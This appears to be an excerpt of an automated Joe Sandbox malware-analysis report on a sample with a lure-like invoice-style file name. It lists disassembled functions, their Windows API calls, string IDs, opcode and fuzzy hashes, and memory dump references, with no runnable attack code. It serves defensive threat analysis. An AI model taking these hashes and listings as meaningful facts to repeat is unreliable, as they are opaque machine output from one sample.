                                                • Instruction ID: 8346aaf50300236d2a103f24b8cf9e32ce326d7a10fee315d4152fdf9e388537
                                                • Opcode Fuzzy Hash: 30b95759bdad752ab68e938d7e336b990ee11958a9d98f06fb7093de6e3c1e7e
                                                • Instruction Fuzzy Hash: 9A61B2B0900289AFDB21EF66CC88DBE7BBCEB41304F180569E841A7251D771AD59DB31
                                                Function 00E07192 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00E07214
                                                • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00E07217
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00E0723B
                                                • _memset.LIBCMT ref: 00E0724C
                                                • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00E0725E
                                                • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00E072D6
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend$LongWindow_memset
                                                • String ID:
                                                • API String ID: 830647256-0
                                                • Opcode ID: 812a5384adfa09ddbe07a2a4d0921939325eb0ef9e1c4aed25b8d1d4af1ce8f4
                                                • Instruction ID: e2c8011150dbef71c28e9adb87295bc9e99ba41b63717b839042b111329375ab
                                                • Opcode Fuzzy Hash: 812a5384adfa09ddbe07a2a4d0921939325eb0ef9e1c4aed25b8d1d4af1ce8f4
                                                • Instruction Fuzzy Hash: 4E615A75A00208AFDB20DFA4CC81EEE77F8EB09714F140159FA54A72E1D774AD85DB60
                                                Function 00DD710E Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00DD7135
                                                • SafeArrayAllocData.OLEAUT32(?), ref: 00DD718E
                                                • VariantInit.OLEAUT32(?), ref: 00DD71A0
                                                • SafeArrayAccessData.OLEAUT32(?,?), ref: 00DD71C0
                                                • VariantCopy.OLEAUT32(?,?), ref: 00DD7213
                                                • SafeArrayUnaccessData.OLEAUT32(?), ref: 00DD7227
                                                • VariantClear.OLEAUT32(?), ref: 00DD723C
                                                • SafeArrayDestroyData.OLEAUT32(?), ref: 00DD7249
                                                • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00DD7252
                                                • VariantClear.OLEAUT32(?), ref: 00DD7264
                                                • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00DD726F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                • String ID:
                                                • API String ID: 2706829360-0
                                                • Opcode ID: 81e44ea1733e314c3b528ec65ee7ec657d3cf0c2bb6dfa2df2c519648e2488de
                                                • Instruction ID: c197ca5970f5794c6e4bb7990ddd6e87ab947dd8a0595df48439bb025a223fce
                                                • Opcode Fuzzy Hash: 81e44ea1733e314c3b528ec65ee7ec657d3cf0c2bb6dfa2df2c519648e2488de
                                                • Instruction Fuzzy Hash: 26415135A04219AFCF10DF65D8849AEBBB8FF08354F00806AF955A7761DB31E949CBA0
                                                Function 00DF5A45 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • WSAStartup.WSOCK32(00000101,?), ref: 00DF5AA6
                                                • inet_addr.WSOCK32(?,?,?), ref: 00DF5AEB
                                                • gethostbyname.WSOCK32(?), ref: 00DF5AF7
                                                • IcmpCreateFile.IPHLPAPI ref: 00DF5B05
                                                • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00DF5B75
                                                • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00DF5B8B
                                                • IcmpCloseHandle.IPHLPAPI(00000000), ref: 00DF5C00
                                                • WSACleanup.WSOCK32 ref: 00DF5C06
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                                • String ID: Ping
                                                • API String ID: 1028309954-2246546115
                                                • Opcode ID: 187a54218b8e29e80e36d83fcff10dacc9c35afbcde508583cc791aac4e06f14
                                                • Instruction ID: 93f3c6bfde6e97aff3fbe3061108e0cf4b94c6260fba4440efaf82b30c580881
                                                • Opcode Fuzzy Hash: 187a54218b8e29e80e36d83fcff10dacc9c35afbcde508583cc791aac4e06f14
                                                • Instruction Fuzzy Hash: 9B51A3316047009FD720EF25EC49B3AB7E4EF44710F09852AF696EB2A5DB70E844CB62
                                                Function 00DEB72E Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 00DEB73B
                                                • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00DEB7B1
                                                • GetLastError.KERNEL32 ref: 00DEB7BB
                                                • SetErrorMode.KERNEL32(00000000,READY), ref: 00DEB828
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Error$Mode$DiskFreeLastSpace
                                                • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                • API String ID: 4194297153-14809454
                                                • Opcode ID: 448b9547659da3ae3b9e809e67b3e018dd4e6b1d8ea1f00e94beab0337d14a2b
                                                • Instruction ID: 25931bac6454b0dc1d17d2cae013fd451f8020b964a654ee88ac64fe6d032109
                                                • Opcode Fuzzy Hash: 448b9547659da3ae3b9e809e67b3e018dd4e6b1d8ea1f00e94beab0337d14a2b
                                                • Instruction Fuzzy Hash: 8E318335A00345AFDB14FF65C889ABFBBB4EF44720F18402AE541A7291DB71E946CBB1
                                                Function 00DD9471 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D87F41: _memmove.LIBCMT ref: 00D87F82
                                                  • Part of subcall function 00DDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00DDB0E7
                                                • SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00DD94F6
                                                • GetDlgCtrlID.USER32 ref: 00DD9501
                                                • GetParent.USER32 ref: 00DD951D
                                                • SendMessageW.USER32(00000000,?,00000111,?), ref: 00DD9520
                                                • GetDlgCtrlID.USER32(?), ref: 00DD9529
                                                • GetParent.USER32(?), ref: 00DD9545
                                                • SendMessageW.USER32(00000000,?,?,00000111), ref: 00DD9548
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend$CtrlParent$ClassName_memmove
                                                • String ID: ComboBox$ListBox
                                                • API String ID: 1536045017-1403004172
                                                • Opcode ID: 9eb1a6895a1c7492e64f8209d3f374520e1e8ceb906e965921d88af05ec1cd2a
                                                • Instruction ID: 09c279d6ebd7b0d38bd4ba91e9a08ed78246c684176308bcd5f28c0dc8c08471
                                                • Opcode Fuzzy Hash: 9eb1a6895a1c7492e64f8209d3f374520e1e8ceb906e965921d88af05ec1cd2a
                                                • Instruction Fuzzy Hash: 3621D174A00204BFCF04AF61DC95DBEBB64EF45310F100226F561A72A2DB769959DB70
                                                Function 00DD955C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D87F41: _memmove.LIBCMT ref: 00D87F82
                                                  • Part of subcall function 00DDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00DDB0E7
                                                • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00DD95DF
                                                • GetDlgCtrlID.USER32 ref: 00DD95EA
                                                • GetParent.USER32 ref: 00DD9606
                                                • SendMessageW.USER32(00000000,?,00000111,?), ref: 00DD9609
                                                • GetDlgCtrlID.USER32(?), ref: 00DD9612
                                                • GetParent.USER32(?), ref: 00DD962E
                                                • SendMessageW.USER32(00000000,?,?,00000111), ref: 00DD9631
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend$CtrlParent$ClassName_memmove
                                                • String ID: ComboBox$ListBox
                                                • API String ID: 1536045017-1403004172
                                                • Opcode ID: e615be4247a9efeaeaf4ec151a9d4059b82460aea532f57f0d57995fa31da3b4
                                                • Instruction ID: 17b45d9d0322bf9cb32dc0419b30609343eb93ca42cbe2f78e30c36a58ec3bbf
                                                • Opcode Fuzzy Hash: e615be4247a9efeaeaf4ec151a9d4059b82460aea532f57f0d57995fa31da3b4
                                                • Instruction Fuzzy Hash: 1B21C174A00204BFDF04AB61DC95EFEBBB8EF48300F140116F951A72A1DB769969DB30
                                                Function 00DD9645 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetParent.USER32 ref: 00DD9651
                                                • GetClassNameW.USER32(00000000,?,00000100), ref: 00DD9666
                                                • _wcscmp.LIBCMT ref: 00DD9678
                                                • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00DD96F3
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ClassMessageNameParentSend_wcscmp
                                                • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                • API String ID: 1704125052-3381328864
                                                • Opcode ID: 1f9ededd91a7befddfcdee9fae1aaf2237456ee9dd4cdaaa02562dec4474ada6
                                                • Instruction ID: 094fb8bbc0f75b1f8ab2a890809a518ff03cd0d3fbb6ffb87cd3245584fce1cc
                                                • Opcode Fuzzy Hash: 1f9ededd91a7befddfcdee9fae1aaf2237456ee9dd4cdaaa02562dec4474ada6
                                                • Instruction Fuzzy Hash: 8F112C77248307BAFA152621EC1BDA6B79CCB05360F200127F900B51D2FF93E9918B78
                                                Function 00DE4189 Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • __swprintf.LIBCMT ref: 00DE419D
                                                • __swprintf.LIBCMT ref: 00DE41AA
                                                  • Part of subcall function 00DA38D8: __woutput_l.LIBCMT ref: 00DA3931
                                                • FindResourceW.KERNEL32(?,?,0000000E), ref: 00DE41D4
                                                • LoadResource.KERNEL32(?,00000000), ref: 00DE41E0
                                                • LockResource.KERNEL32(00000000), ref: 00DE41ED
                                                • FindResourceW.KERNEL32(?,?,00000003), ref: 00DE420D
                                                • LoadResource.KERNEL32(?,00000000), ref: 00DE421F
                                                • SizeofResource.KERNEL32(?,00000000), ref: 00DE422E
                                                • LockResource.KERNEL32(?), ref: 00DE423A
                                                • CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00DE429B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
                                                • String ID:
                                                • API String ID: 1433390588-0
                                                • Opcode ID: 4df75cfb58d3ce3fd353bce92d5c5962bec70ba6b599648f334aaa6fea336e86
                                                • Instruction ID: 46a3a2175715ff70299105c7c06046b70ec3a140db6eaad9985aac47402977aa
                                                • Opcode Fuzzy Hash: 4df75cfb58d3ce3fd353bce92d5c5962bec70ba6b599648f334aaa6fea336e86
                                                • Instruction Fuzzy Hash: EA31C175A0525AAFCB11AF62DC48EBF7BADEF09301F044525F901E6150D734DA61CBB4
                                                Function 00DE16DE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentThreadId.KERNEL32 ref: 00DE1700
                                                • GetForegroundWindow.USER32(00000000,?,?,?,?,?,00DE0778,?,00000001), ref: 00DE1714
                                                • GetWindowThreadProcessId.USER32(00000000), ref: 00DE171B
                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00DE0778,?,00000001), ref: 00DE172A
                                                • GetWindowThreadProcessId.USER32(?,00000000), ref: 00DE173C
                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00DE0778,?,00000001), ref: 00DE1755
                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00DE0778,?,00000001), ref: 00DE1767
                                                • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00DE0778,?,00000001), ref: 00DE17AC
                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00DE0778,?,00000001), ref: 00DE17C1
                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00DE0778,?,00000001), ref: 00DE17CC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                • String ID:
                                                • API String ID: 2156557900-0
                                                • Opcode ID: eaef975328dfcc71a8bd3b7f18e4107b82265d4cf185cc1fe6f0d1776eb2811c
                                                • Instruction ID: d8798b563108239b17bc98cee1dbbecda1a89ef8aaedf50e1067009b42b10cf2
                                                • Opcode Fuzzy Hash: eaef975328dfcc71a8bd3b7f18e4107b82265d4cf185cc1fe6f0d1776eb2811c
                                                • Instruction Fuzzy Hash: EC31B179700244FFDB21FF17EC84B6937A9AB1AB51F144015F844E62A0DB719D898BA0
                                                Function 00D8FBBD Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON
                                                Download Yara Rule
                                                APIs
                                                • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00D8FC06
                                                • OleUninitialize.OLE32(?,00000000), ref: 00D8FCA5
                                                • UnregisterHotKey.USER32(?), ref: 00D8FDFC
                                                • DestroyWindow.USER32(?), ref: 00DC4A00
                                                • FreeLibrary.KERNEL32(?), ref: 00DC4A65
                                                • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00DC4A92
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                • String ID: close all
                                                • API String ID: 469580280-3243417748
                                                • Opcode ID: d41dc806add7357e069e017a429aef23fec818431a43ead1d68ed830e835eb3a
                                                • Instruction ID: acf1945902d5f453571b6e9663655bf2cd3483cf56e0e47186f119aba28e44bb
                                                • Opcode Fuzzy Hash: d41dc806add7357e069e017a429aef23fec818431a43ead1d68ed830e835eb3a
                                                • Instruction Fuzzy Hash: 64A137347022128FCB29EB54C4A5F69F7A4EF04704F1842ADE90AAB261DB30ED16CF74
                                                Function 00DF9428 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 263COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Variant$ClearInit$_memset
                                                • String ID: ,,$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                • API String ID: 2862541840-218231672
                                                • Opcode ID: 4bef425661fecc3dc09693517ec3091c68d98c0b76ac830a737d05d909f83429
                                                • Instruction ID: 655801ef256b3cbb824a4ca4c5dccf06f7b0ae4c25a6604ded77cc5a8fd582dc
                                                • Opcode Fuzzy Hash: 4bef425661fecc3dc09693517ec3091c68d98c0b76ac830a737d05d909f83429
                                                • Instruction Fuzzy Hash: EC919B70E00219ABDF24DFA5C898FAEFBB8EF85710F158159F615AB280D7709945CBB0
                                                Function 00DDA693 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON
                                                Download Yara Rule
                                                APIs
                                                • EnumChildWindows.USER32(?,00DDAA64), ref: 00DDA9A2
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ChildEnumWindows
                                                • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                • API String ID: 3555792229-1603158881
                                                • Opcode ID: 8c04ba2d7a616a2ccb9dfe7c715da1c3045ce860466c185d1b0c173a8b036c12
                                                • Instruction ID: ff0c2d40cd4999c6cb7e5943a36e279487d3d4870c1d6ab9461069f70d6c6354
                                                • Opcode Fuzzy Hash: 8c04ba2d7a616a2ccb9dfe7c715da1c3045ce860466c185d1b0c173a8b036c12
                                                • Instruction Fuzzy Hash: 6C91A471A00606ABDB08DF64C492BE9FB75FF04300F54C11AE89AA7641DF30AA59DBB1
                                                Function 00D82E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SetWindowLongW.USER32(?,000000EB), ref: 00D82EAE
                                                  • Part of subcall function 00D81DB3: GetClientRect.USER32(?,?), ref: 00D81DDC
                                                  • Part of subcall function 00D81DB3: GetWindowRect.USER32(?,?), ref: 00D81E1D
                                                  • Part of subcall function 00D81DB3: ScreenToClient.USER32(?,?), ref: 00D81E45
                                                • GetDC.USER32 ref: 00DBCF82
                                                • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00DBCF95
                                                • SelectObject.GDI32(00000000,00000000), ref: 00DBCFA3
                                                • SelectObject.GDI32(00000000,00000000), ref: 00DBCFB8
                                                • ReleaseDC.USER32(?,00000000), ref: 00DBCFC0
                                                • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00DBD04B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                                • String ID: U
                                                • API String ID: 4009187628-3372436214
                                                • Opcode ID: a03839afe7dbcac89971f201a05336e80f5788589424d024d2501eaab20b09ee
                                                • Instruction ID: 8444ace53a09e7b3a3e4417bf1c7bb3522fb819ed304e3a4dd942bc4ba48ab10
                                                • Opcode Fuzzy Hash: a03839afe7dbcac89971f201a05336e80f5788589424d024d2501eaab20b09ee
                                                • Instruction Fuzzy Hash: 3771C530500205DFCF219F64C884AFA7BB6FF49354F1842AAFD96661A5D7318C92DB71
                                                Function 00DF8F5B Relevance: 13.9, APIs: 9, Instructions: 438COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleFileNameW.KERNEL32(?,?,00000104,?,00E0F910), ref: 00DF903D
                                                • FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00E0F910), ref: 00DF9071
                                                • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00DF91EB
                                                • SysFreeString.OLEAUT32(?), ref: 00DF9215
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Free$FileLibraryModuleNamePathQueryStringType
                                                • String ID:
